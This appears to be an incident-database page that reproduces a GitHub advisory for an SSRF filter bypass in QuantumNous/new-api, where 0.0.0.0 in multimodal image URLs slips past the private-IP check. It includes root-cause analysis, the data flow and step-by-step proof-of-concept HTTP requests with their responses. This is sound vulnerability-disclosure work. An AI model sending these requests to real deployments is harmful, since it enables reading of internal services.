INCIDENT MAP

Browse / AI Framework and Platform Flaws / CVE-2026-42339

QuantumNous/new-api has an SSRF Filter Bypass via 0.0.0.0

CVE-2026-42339 · 2026-05-06 high

Class
AI Framework and Platform Flaws (filed by a model that read the advisory)
Technique
Server-side request forgery
Affected
github.com/QuantumNous/new-api (Go)
Gets past
SSRF protection
CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N
EPSS
0.3% chance of exploitation in 30 days

How it works, in short

Using 0.0.0.0 as the host in multimodal image URLs slips past new-api's private IP filter, so the server fetches localhost. (Our summary, written by a model. The source text is below.)

Details

SSRF Filter Bypass via 0.0.0.0

Summary

The SSRF protection introduced in v0.9.0.5 (CVE-2025-59146) and hardened in v0.9.6 (CVE-2025-62155) does not block the unspecified address 0.0.0.0. A regular (non-admin) user holding any valid API token can send a multimodal request to /v1/chat/completions, /v1/responses, or /v1/messages with 0.0.0.0 as the image/file URL host, bypassing the private-IP filter and causing the server to issue HTTP requests to localhost. This constitutes at minimum a blind SSRF; when the request is routed through an AWS/Bedrock Claude adaptor, the fetched content is inlined into the model response, upgrading it to a full-read SSRF.

Details

Root Cause

common/ssrf_protection.go — isPrivateIP() (lines 33–47) checks the following ranges:

0.0.0.0/8 is not checked. On Linux, 0.0.0.0 resolves to the local machine, same as 127.0.0.1.

Default Fetch Settings

setting/system_setting/fetch_setting.go (lines 16–24) defaults:

So 0.0.0.0 on any of these four ports passes all checks.

Data Flow (primary chain — /v1/chat/completions)

User API token
→ /v1/chat/completions  (TokenAuth, no admin required)
→ messages[].content[].image_url.url = "http://0.0.0.0:8080/..."
→ dto/openai_request.go:111-117   createFileSource() recognises http(s):// as URL source
→ dto/openai_request.go:119-198   GetTokenCountMeta() collects image_url.url / file.file_data / video_url
→ service/token_counter.go:237-264 LoadFileSource() fetches URL when shouldFetchFiles == true
→ service/file_service.go:135-143  loadFromURL() → DoDownloadRequest()
→ service/download.go:52-68       ValidateURLWithFetchSetting() → 0.0.0.0 NOT blocked → GetHttpClient().Get()
→ Server issues real TCP connection to 0.0.0.0

Note on stream requirement: common/init.go (lines 140–141) defaults GET_MEDIA_TOKEN=true but GET_MEDIA_TOKEN_NOT_STREAM=false, so stream: true is needed to trigger the fetch path.

Additional Affected Endpoints

The same ValidateURLWithFetchSetting() → DoDownloadRequest() sink is reachable from:

| Endpoint | User-controlled field | Auth required |
|---|---|---|
| /v1/chat/completions | image_url.url, file.file_data, video_url | Regular user token |
| /v1/responses | input_file.file_url, input_image.image_url | Regular user token |
| /v1/messages | source.url (type: "url") | Regular user token |
| /api/user/setting | webhook_url, bark_url, gotify_url | Regular user (self) |

Upgrade to Full-Read SSRF (conditional)

relay/channel/aws/adaptor.go (lines 41–61) — ConvertClaudeRequest():

This means an attacker can read the actual content of internal resources (images, PDFs, text) through the model's output, not just detect open/closed ports.

Proof of Concept

Prerequisites: A regular user account with a valid API token. No admin privileges required.

Step 1 — Control group: 127.0.0.1 is blocked

POST /v1/chat/completions HTTP/1.1
Host: <redacted>
Authorization: Bearer sk-<user-token>
Content-Type: application/json

{
  "model": "gpt-4o-mini",
  "stream": true,
  "max_tokens": 1,
  "messages": [
    {
      "role": "user",
      "content": [
        {"type": "text", "text": "describe"},
        {
          "type": "image_url",
          "image_url": {
            "url": "http://127.0.0.1:8080/probe.png",
            "detail": "low"
          }
        }
      ]
    }
  ]
}

Response:

private IP address not allowed: 127.0.0.1

Step 2 — Experiment group: 0.0.0.0 bypasses the filter

POST /v1/chat/completions HTTP/1.1
Host: <redacted>
Authorization: Bearer sk-<user-token>
Content-Type: application/json

{
  "model": "gpt-4o-mini",
  "stream": true,
  "max_tokens": 1,
  "messages": [
    {
      "role": "user",
      "content": [
        {"type": "text", "text": "describe"},
        {
          "type": "image_url",
          "image_url": {
            "url": "http://0.0.0.0:8080/probe.png",
            "detail": "low"
          }
        }
      ]
    }
  ]
}

Response:

dial tcp 0.0.0.0:8080: connect: connection refused

The server attempted a real TCP connection — the SSRF filter was bypassed.

Step 3 — Confirm readback capability via multimodal model

POST /v1/chat/completions HTTP/1.1
Host: <redacted>
Authorization: Bearer sk-<user-token>
Content-Type: application/json

{
  "model": "claude-3-5-sonnet-latest",
  "stream": false,
  "max_tokens": 32,
  "messages": [
    {
      "role": "user",
      "content": [
        {
          "type": "text",
          "text": "Transcribe exactly the text in the image. Output only the text."
        },
        {
          "type": "image_url",
          "image_url": {
            "url": "https://dummyimage.com/600x180/111/fff.png&text=READBACK-OK-314159",
            "detail": "low"
          }
        }
      ]
    }
  ]
}

Response:

{"choices":[{"message":{"content":"READBACK-OK-314159"}}]}

This confirms that when the fetch target returns readable content (image/PDF/text), the model's response leaks that content to the attacker. Combining Step 2 and Step 3: if an internal service on 0.0.0.0:<allowed-port> returns image or document content, an attacker can exfiltrate it.

Impact

An authenticated regular user (no admin privileges) can:

Since user registration is often enabled by default, any registered user can exploit this.

Suggested Fix

Resources

References

Source: GitHub Advisory Database, used under CC BY 4.0.